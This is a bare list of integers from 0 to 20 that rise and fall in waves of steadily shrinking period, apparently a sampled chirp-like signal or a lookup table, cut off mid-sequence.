20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 8, 8, 